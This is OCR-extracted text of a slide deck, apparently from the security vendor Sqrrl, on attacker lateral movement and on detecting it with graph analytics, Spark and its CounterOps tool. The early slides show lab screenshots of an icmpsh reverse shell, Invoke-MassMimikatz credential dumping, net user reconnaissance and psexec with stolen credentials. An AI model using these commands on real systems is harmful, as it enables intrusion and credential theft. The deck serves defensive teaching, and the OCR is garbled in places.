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What am | referring to when | say Lateral Movement? ®sarrl

Techniques that enable attackers to
access and control systems within your
network

Leveraged for:

Access to specific information or files =] 14345@DOM

Remote execution of tools =
Pivoting to additional systems
C9825

Access to additional credentials U3B45@DOM =]

C586
Movement across a network from one ]

system to another may be necessary to
achieve goals
ADMINISTRATOR@DOM1®

Often key to an attacker's capabilities and
a piece of a larger set of dependencies

79) & LATMOV-0 &~



Different Types of Lateral Movement Ssqrrl

Logon Scripts  Exploitation of Vulnerability
Remote File Copy Application Deployment Software
Remote Services
Remote Desktop Protocol

Windows Remote Management
Pass the Hash Shared Webroot Windows Admin Shares



Lateral Movement

Successful Data access
from compromised host
after lateral movement

Successful
Lateral
Movement

Patient O:
original
Infection

Failed Data access
from Patient 0

Company's
Customer
‘ "y Failed Data access 2:;\::;;?
LUCCGTS u from compromised
atera host after lateral
Movement

movement



Infection to Lateral Movement Process
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Infection
Techniques

Phishing email
Drive by
Exploit kit
Flash drive
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Stages

* Infected system
checks in with
command and
control server/s

. Human Attacker
gives command to
infected system to
allow access

*  remote shell

*  GUIlinterface
options

Human attacker
starts
reconnaissance
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Human Attacker
starts running
system
commands to
gather
intelligence

Examples of recon:

. Network

e netstat — see active
network
connections

*  Nmap - network
scanner

. Net use — access to
resources

+  System

* Netuser — manage
local/domain
accounts

e Task list — what
processes are
running on system
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Tools

Mimikatz
Pwdump
Generic memory
dump

Goal

To gather either
plaintext credential
to use for generic
system
authentication
Password hash to
pass to a system in
place of a password
Ultimately elevate
your privileges from
the current
compromised user
to an administrative
user
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Login to new

system

*  psexec - shell
« RDP-GUI

«  Profit

Rinse and Repeat for each system as needed or wanted




Compromise

Windows Reverse Shell

:/opt/icmpsh# sysctl -w net.1pvd.icmp_echo_1gnore_all=1l >/dev/null
:/opt/icmpsh# chmod 777 1cmpsh_m.py
:/opt/icmpsh# ./1cmpsh_m.py 10.0.0.8 10.0.0.11

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\>1pconfig
1pconfig

windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :

IP Address : 10,0.0.11
Subnet Mask : 255.255.255.0
Default Gateway

C:\>systemnfo
systeminfo

Host Name: TESTER-PC

0S Name: Microsoft windows XP Professional
0S Version: S.1.2600 Service Pack 2 Build 2600
0S Manufacturer: Microsoft Corporation

@sqrrl

Communication with the
compromised systems and C&C
(command and control) servers
Is established

Threat actors need to sustain
persistent access across the
network

They move laterally within the
network and gain higher
privileges through the use of
different tools



Reconnaissance Recon Local Accounts AS(II'I".

Microsoft Windows [Uersion 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\ACK>net user

To move laterally within a breached

network and maintain persistence,

attackers obtain information like Aduinistrator
pdatusUser

network hierarchy, services used in The command completed successfully.
the servers and operating systems

User accounts for \\ACK-PC

C:\Users\Administrator>net user /domain administrator
Administrator

Built—in account for administering the computer/dom

Attackers check the host naming
. . . . S #98 (System Default)
conventions to easily identify o bes

Never

SpeCIﬂC assets to target Passuord expires. Negop 12 2eitzzt i
Password changeable 43,2012 2:11:21 PM

Password required Yes
User may change password Yes

llorkstations allowed A1l
Logon script

Attackers utilize this info to map the  [RrEak.
Last logon 6,/12/2012 7:46:49 PM

network and achIre Inte”lgence Logon hours allowed All
. L 1 Gr Memberships *ldministe S Distrib d COM Users
about their next move peat Troup Tenbershup e IpLibraroUpdaters =118 USRS .

*Performance Log Users*Performance Monitor U
*SQLServerMSASUser$SQL*SQLServerMSASUser$SQL
*SQLServerMSASUser$SQLISS_ADMIN_UWPG
*JSS_RESTRICTED_UWPG_U4ISS_UPG
Global Group membherships *Enterprise Admins *Group Policy Creator
*Schema Admins *Domain Users
*Domain Admins *MDS_ServicefAccounts
Ihe command completed successtully.




Credential Theft

Once threat actors identify other
“territories” they need to access, the next
step iIs to gather login credentials

Cracking and Stealing Passwords

Pass the Hash: involves the use of a
hash instead of a plaintext password
In order to authenticate and gain
higher access

Brute force attack: simply guessing
passwords through a predefined set
of passwords

Using gathered information, threat actors
move to new territories within the network
and widen their control

@sqrrl

Running Mimikatz in memory via powershell

PS C:\Users\chris\Desktop> "WINDOWS2™, "WINDOWS3" | Invoke-MassMimikatz —Verbose
—Firellal1Rule

: Setting inbound firewall rule for port 8080

: Sleeping, letting the web server stand up...

: Executing command on host "WINDOWS2™

: Executing command on host "WINDOWS3™

: Waiting 30 seconds for commands to trigger...

: Parsing output from folder “output”

Credential

jasonf/TESTLAB : 5db8bd4d36c9957d1363b. . .
jasonf/TESTLAB :BusinessBusinessBusin. . .
timmy/DEY:d23d3812892edd9b2b1c6al?86. . .
timmy/DEY: ThisIsSecureRight?

VERBOSE: Removing inbound firewall rule
WERBOSE: Killing the web server

These activities are often unnoticed by IT
administrators, since they only check
failed logins without tracking the
successful ones



Lateral Movement — Using Stolen Credentials Ssqrrl

C:\>psexec \\Envy —u Inferno\SteveDA —-p POsswordi23?! -s cmd.exe

AttaCkerS can now remOter aCCess PsExec v2.2 - Execute processes remotely
deSktOpS Copyright (C) 2001-2016 Mark Russinovich

Sysinternals — www.sysinternals.com

Accessing desktops in this manner is not | | |
Microsoft Windows [Version 6.1.760601]

unusual for IT support staff Copyright (c) 20@9 Microsoft Corporation. A1l rights reserved.
Remote access will therefore not be readily NG

associated with an ongoing attack C:\Windous\s ysten32)

Attackers may also gather domain Tools and techniques used for this
credentials to |Og Into systems, servers, purpose include remote desktop tools,
and switches PsExec, and Windows Management
Remote control tools enable attackers to Instrumentation (WMI)

access other desktops in the network and Note that these tools are not the only
perform actions like executing programs, mechanisms used by threat actors in
scheduling tasks, and managing data lateral movement

collection on other systems



OUR FIELD HAS BEEN
STRUGGLING WITH THIS
PROBLEM FOR YEARS.

71

STRUGGLE NO MORE!
I'™M HERE TO SOLVE
IT JITH ALGORITHITS!




DETECTING LATERAL
MOVEMENT WITH DATA

SCIENCE
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Data <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> .sqrrl

<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-/
<EventID>4624</EventID>
<Version>@</Version>

¢ LM evidence comes from: sevel=d</Level> |
. <0Opcode>0</0pcode>
¢ Windows Events <Keywords>0x8020000000000000</Ke 1o ds>
» <TimeCreated SystemTime="2014-09-10T08:44:55.712613000Z" />
<EventRecordID>125696293</EventRecordID>
® SySIOg <Correlation/>
» <Execution ProcessID="468" ThreadID="1172"/>
<Channel>Security</Channel>
¢ VPN » <Computer>SQRRL-DCOO5.sqrrl.com</Computers>
. <Security/>
* Endpoint sensors </System>
® . f Id » <Data Name="SubjectUserSid">S-1-0-0</Data>
- <Data Name="SubjectUserName'">-</Data>
Prlmary 1€ S. <Data Name="SubjectDomainName">-</Data>

<Data Name="SubjectlLogonId">0x0</Data>

SO u rce <Data Name="TargetUserSid">S-1-5-21-2000478354-1532298954-725345543-3069</Data>
<Data Name="TargetUserName">CGR-WK301$</Data>

<Data Name="TargetDomainName">SQRRL</Data>

®
® D e St | n at | O n <Data Name="TargetLogonId">0x3c8f86048</Data>
®

v

<Data Name="LogonType">3</Data>
U <Data Name="LogonProcessName'">Kerberos</Data>
Ser <Data Name="AuthenticationPackageName">Kerberos</Data>
<Data Name="WorkstationName"/>
¢ Tlme <Data Name="LogonGuid">{A2E724D7-9045-C011-BFC8-CDDOB4CFD2E8}</Data>
<Data Name="TransmittedServices'">-</Data>
® . <Data Name="LmPackageName">-</Data>
= <Data Name="KeylLength">0</Data>
EXtra Informatlon <Data Name="ProcessId">0x0</Data>
<Data Name="ProcessName">-</Data>
<Data Name="IpAddress">192.168.41.108</Data>
<Data Name="IpPort">53584</Data>
</EventData>
</Event>

A 4
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Abstraction Spectrum Trade-Off Ssqrrl

Specialized Generic
Target Specific Techniques Search for General Graph Patterns
« e.g.Pass The Hash detection «  Hard to hide from
*  Very specific means low false positives *  May pick up unrelated similar patterns

«  May miss new techniques




LM Graph Pattern Characteristics Ssqrrl

(1) Expected Inter-login (4) Fan-outs, including failed logins
Time Distribution

- (5) Not too big,

(3) Rarely-Seen Logins Not too small

\

(2) Overall Timeframe in expected range



Lateral Movement Strategy Ssqrl

¢ Rank individual logins
Train: learn common user login patterns from the data

Predict: assign rank (logLikelihoodRatio) to every login. Rank high those that are
unusual

¢ Construct time-ordered connected sequences of logins
Predict: find top N sequences of logins with the highest combined rank




Generalized “Rarity” Classifier esqrrl
® Used to determine base risk for logins four ofday - sl

¢ Extensible feature vectors mix numerical,
categorical, and text features

TDigests for numerical e tme —
Bag of words for text N = | T
Vectorized categorical statistics
¢ |Learns “normal” in-situ
Priors out-of-the-box
Every network is different
¢ Scalable spark implementations

microsoft.com/win/2004/88/events, /event"

indows-Security-Auditing" Guid="{54849625-5478-4994-




Multi-Hop Predict

<Event xnins="http://schy 0507t com/win/200:

<system>
<EventID>4624</EventID>
<Version>@</Version>

<Opcode>0</Opcade>
Heyaords-6:2620006600600006= Kepini=>

<EventRecordID>125696253</EventRecordID>

468" ThreadIl
<Channel>Security</Channel>
<Conputer-SQRRL-DCOOS. sqrrl. com</Conputer=

1172"/>

Subjectlsersid">S-1-9-9</Data>
SubjectlserNane">—</Data>
SubjectDomainNane">—</Data>
Sub]ectLugon[d”»Bxk/Da'a>

<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E380328C30D}" />

<TimeCreated SystenTine="2014-09-10T08:44:11,5417976002" />

‘TargetDonainNane">SQRRL</Dat:
TargetLogonTd"-ax3cBI7527a- /0a e

LogonProcessNane''>Kerberos</Data>

TargetUserane! seomercialtruckscales/Datn> ~

ackageton
‘Workstat ionNan

ProcessNane"'>—</Data>
TpAddress”~192,168.0.62</Data>
TpPort">53197</Data>

D:

<Data Name="

</EventData>
</Event>

h ~

mganuum">mnsczc7s—essz -CIR0-T1ET-TISASCORSTAC) /0t >

Nttp://schenas. microsoft. con/win/2004/08/events/event'=

<EventID>4624</EventID>
<Version>0</Version>

>8</Level>

STasko1254</ Tasks

<Opcode></0pcode>

Keyuord - CEN2A8AINGSI8 Keyaords>

<TimeCreated Syst -09-10T08:44:11.5417976002" />
EventRecor 10 2589853 EventRecoraTbe

<Correl;
<Execution ProcessID="468" ThreadI!
<Channe 1>Security</Channe >
<Computer>SQRRL-DCA05. 5qrr. com</ Conputer>

1172"/>

SubjectlUserSid">5-1-8-0</Data>

> /Data>
‘SubjectLogonId">0x8</Data>

‘TargetDomainNane">SQRRL</Data>
TargetlogonTdPachTmzid=/bate=
LogonType">3</Da:

Lognn?mcessName"»KePberok/Data)

Workstationane"/>
Logonus{ODEC2CTE-055E-CIE-T187-T3SASCOTAC) -
Transnittedservices'—

LnpackageNane">~</Da:
Koyt engin’0c/Doien
ProcessId">0x0</Data>

ProcessNane''>—</Data:
TpAddress"~192,168.0.62</Data>
me="TpPort">53197</Data>
</EventData>
[</Event>

192.168.1.101

<EverE xnlnse"TIEEp://Schenes. MLCToSOFE. Com/ L1/ 2004/ 0/ everts/ event>
<5y:

Lorovider
<EventID>4624</EventID>
<Version>0</Version>
<Level>0</Level>
Teslo1254c/Task>
<Opcode>d</0pct
4o -0x02000000000000- -0 5
<TineCreated SystenTine="2014-09-10T08:44:11,0105340002"/>
<EventRecordID>125696250</EventRecordID>
<Correlation/>
<Execution ProcessID="ds" ThresdID="382¢"/>
<Channel>Security</Chan
<rmmr>snmumus.sqrrl.:om/campu\ev>

ubjectUsersid"=5-1-0-9</Data>
ubjectUserNane">—</Data>
ubjectDonainane”>—</Data>
ubjectLogonId">axd</Data>

argetDomainane">SQRRL</Data>
argetLogonld"-0x3cBf7519a</Data>

ogonType"'>3</Data>

ogonProcessNane"~Kerberos</Data:
uthenticationPackageName">Kerberos</Data>
jorkstationNane" />

ogonGuid">1| -~ /Data>
ransnittedServices’>—</Dats>

nPackageNane">—/Dat

eyLength''>0</Data>

rocessId">0xd</Data>

rocesshane">~</Da

phddress"~192.168. w 62</Data>

pPort">53193</Da

</EventData>
</Event>

y " Guid=" 00} />

<Event xmins="http://sch: 050t Ccon/win/200:

<Systen>

pcode>
<Keywords-0x3020000000000000-/ e
<TineCreated SystenTime="201
<EventhiecordIb>125596293<EventRecordIl>

192.1 1.10 Py

ChanneloSecurity</Crannel>
<Computer>SQRRL-DCOBS. sqrr L. com</Conpute >
<Security/>

</systen>

<EventData>
<Data Nane
<Data Nane

4 <vata Name

s <bata Name="

s Nane:

ubjectUsersid">5-1-9-9</Data>

ta>
ubjectLogonld">0xd</Data>

09 10703:44:55. 7126130002" =

300} />

s Name="TargetUserMane">CGR-WK301$</Data>
s Name="TargetDomainNane">SQRRL</Data>
orgetLogonL-0x3cafa64s</oto-
ogonType">3</D:
wguancessNamg")KerberasdDa(a>

orkstationane/»

ogonGu: 011-BFC8-CDDOBACI

ransmnedserncey‘»- /Data>

oacaresa" 192, 168, 41.108</0at2
pPort"-53584</Datax

e
</EventData>
</Event>

. con/win/200: =

<Event xmins="http://sche
<systen>

<Provider Nane rosof ity
<EventID>4624</EventID>
<Version>d</Version>

<Level>0</Level>

Teskol28iae/Task>

<Opcode>0</0pc
<Knmra5>oxsnzaa»aaneaouann< /Keywords>
SystenTine="2014-09-10T08: 44:11.0730356002"/>
>125696251</ EventRecordID>

Guids" 300} />

<Correlation/>
<Execution ProcessID="468" ThreadID="1172"/>
<Channe>Security</Channel>
<Conputer>SQRRL-DC00S. sqrrL. com</Conputer>
<Security/>

"TargetDonainNane" >SQRRL</Data>
'TargetLogond">0x3cBf75169</Data>
me="LogonType">3</Data>
<Data Nane~"LogonProcesstane" Kerberos</bata>
"Authenticat ionPackageNae">Kerberos</Data>

“WorkstationNane" />

="LogonGu1d''~{ 193050E6-FBAA-0BBC~SBAE-22EAS6F (98B0} </ Dot
<Data Name="TransmittedServices">—</Data:

ToAddresa 152,160, n 62/0atax
" TpPort"-53196</D:

</EventData>

</Event>




Multi-Hop Predict: Combinatorics

General Problem: Subgraph Isomorphism
5 edges = 2° = 32 subgraphs

10 edges = 210 = 1024 subgraphs

20 edges = 220 = 1,048,576 subgraphs

192.168.1.101

¢ We run with billions of edges...

¢ Solution: grow small subgraphs in parallel
Prune early and often
Aglomerative clustering 192.168.1.78
Message passing

@sqrrl

192.168.1.104

192.168.1.83






Multi-Hop Predict: Message Passing Ssqrrl
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Multi-Hop Predict: Message Passing Ssqrrl

S5




Scalable Implementation Ssqrrl

SAPACHE&

POrK. GraphX

¢ Large scale, parallel implementation ¢ Spark extension for graph processing
¢ Multiple Independent Variable Bayesian ¢ High performance message passing
Classifier (MIVB) Implementation

¢ Used for agglomerative clustering /
detection of LM structures
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Trained
Classifier

- o
Processing Workflow Ssqrrl

Spark / GraphX ( )

__ 3 Sqrrl CounterOps

Single-Hop Multi-Hop Model
_ _J Predict Predict
Sqrrl Auth/Login
Sources \ A‘\ \>\ /J<
1 \
N— ___~ |‘\ AN
. Classiﬁe‘r\-_____' Evidence Tables
Training '\\



False Positive Reduction Ssqrrl

1. Rank:

Lim(li,l2, ..., IN) time(m?»x{tz'} - miin{ti}

2. Normalize:
« Smooth out discontinuities in ranking function
« Apply historical context to determine probability of seeing a given rank
« Convert to risk score based on likelihood * impact
3. Threshold:
« Analysts usually care about LMs over risk X



Building the LM Detector

Threat Hunters

Data Scientists

TTP Alignment

\ 4

High-Risk Classifier
(Subgraphs)

Computer Scientists

4

Scalable Implementation
(Spark, GraphX)

Behavior and
Structural
Decomposition

\ 4

Log-Likelihood
Ranking

\ 4

s

Deployable Workflow
with In-Situ Training

Normality Classifier
(MIVB)

A 4

Rank Statistics
Normalization
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Security Analyst
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Contextual Exploration

v

and Visualization




REAL WORLD
THREAT HUNTING FOR
LATERAL MOVEMENT
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CounterOps

3 LATMOV-0 o -

8 entities
3 risk factors

0%

U3845@DOM1

U4345@DOM1

C2450

».—,-—J

[

9825
(]

I====5)

C586
J

,,,,,,,,

ADMINISTRATOR@DOM1®

Feb 06 2017 07:00

<

Last updated

CozyBear «x

Total

Failed auth

Successful auth

First detected

Feb 06 2017 08:59 23|+

FEATURES
2017-02-06 20:19
2017-02-06 20:19
Show more
HISTORY

CrownJewel x

ACTIVITY



CounterOps

1
Save v
F
NG, 0) l=J C706
- .
[~ May 23 2017 15:16 to May 30 2017 15:16 &3 |+
3
[+

FEATURES

ﬂl‘llm! Hostname C706

e U4345@DOMT1

1@ DETECTIONS TAGS HISTORY
Drill Down All by Current Entity Type -

1 Arranged by risk
Open Investigation Manager Neighborhood

C2450 76 83 LATMOV-0 2017-02-06 20:19
Hide All Selected E\

Hide All Others

s 09825
U3845@DOM1 =
C586

ACTIVITY

Total

ADMINISTRATOR@DOM1®

Legend




CounterOps

Legend

C706

iO

C395

U3845@DOM1

U4345@DOM1

09825
[

C586

ADMINISTRATOR@DOM1®
1@

5 items selected

ENTITY CLASSES

Hostname

TAGS

Add atag

NSTANCES

C2450

Hostname

C395

Hostname

C586

Hostname

C706

Hostname

Risk factors

C9825

Hostname

Save v

C2450

C395

C586

C706

9825



CounterOps

Legend

Drill Down

Open Investigation Manager

Hide All Selected
Hide All Others

Format Selection

U3845@DO

. U4345@DOM1
Hostname involved> Alert...

Hostname latMov> Hostname

Hostname resolvedTo - IPAddress... C2450
_Process _hostedOn> Hostname... ‘

_Process _onWatchList> Hostname... _‘idcgg 25

Account authenticationFailure> Hostname...

Account authenticationSuccess> Hostname... Lr_r]:‘l_

==
MACAddress hostedOn> Hostname... C 5 8 6
Alert involved> Hostname... Iﬁ
LateralMovement involved> Hostname... (===

Account observedOn> Hostname...

ADMINISTRATOR@DOM1®

5 items selected

ENTITY CLASSES

Hostname

TAGS

Add atag

INSTANCES

C2450

C395

Hostname

C586

Hostname

C706

Hostname

Risk factors

C9825

Hostname

Save v

C2450

C395

C586

C706

C9825



CounterOps

Legend

10.10.1.1] 10.1.33.234  10.1.2.225
10.1.23.137
10.10.1.2
C706
U4345@DOM1
C395
C2450
09825
U3845@DOM1 j
C586
ADMINISTRATOR@DOM1®

10.10.1.4

10.1.5.114

0 items selected

ENTITY CLASSES

TAGS

PIP x

Save v



CounterOps test

1
Save v
FS
@ 0 10.10.1.1
;Z‘ May 23 2017 15:16 to May 302017 15:16 &3 |+
Q|
+) 10.10.1.1 10.1.33.234  10.1.2.225
-
— Total bytes 1.6 MB
Select IPAddress 10.1.23.137
Expand All Entities -I .2 Total connections 166
Drill Down All by Current Entity Type w Bytes
Open Investigation Manager Neighborhood Connection
v Cl S
ide All Sefected U4345@DOM1
2@ Show more
Hide AllOthers s
Format Selection 02450 DETECTIONS TAGS HISTORY
, ] @1 Arranged by risk

= 10.10.1.4
09825 ‘ @ BEACON-4 2017-02-06 20:21
U3845@DOMT -
C586

= 10.1.5.114 o

Anomali_ThreatIntel
Sqrrl_Alerts
ADMINISTRATOR@DOM1*® Sarr MSDNSDebug
Sqrrl_Netflow
Sqrrl_ProxySG

Sqarrl_WindowsEvents

Legend




CounterOps

1

| [+][0]]%] 4

Legend

10.10.1.1} 10.1.33.234  10.1.2.225
10.10.1.2
C706
C395
U3845@DOM1

10.1.23.137
U4345@DOM1
C2450
o 10.10.1.4
9825
C586
10.1.5.114
ADMINISTRATOR@DOM1®

7 items selected
ENTITY CLASSES
IPAddress
TAGS

Add atag

INSTANCES

10.1.2.225

10.1.23.137
Total bytes

Total connections

10.1.33.234

10.1.5.114

10.10.1.1

Total bytes

Total connections

10.10.1.2

Total bytes
Total connections

10.10.1.4

Total bytes

Save v

16.8 KB

1.6 MB
166

6.3 MB
636

49.3MB



CounterOps

[+ )~ &

Legend

Drill Down

Open Investigation Manager
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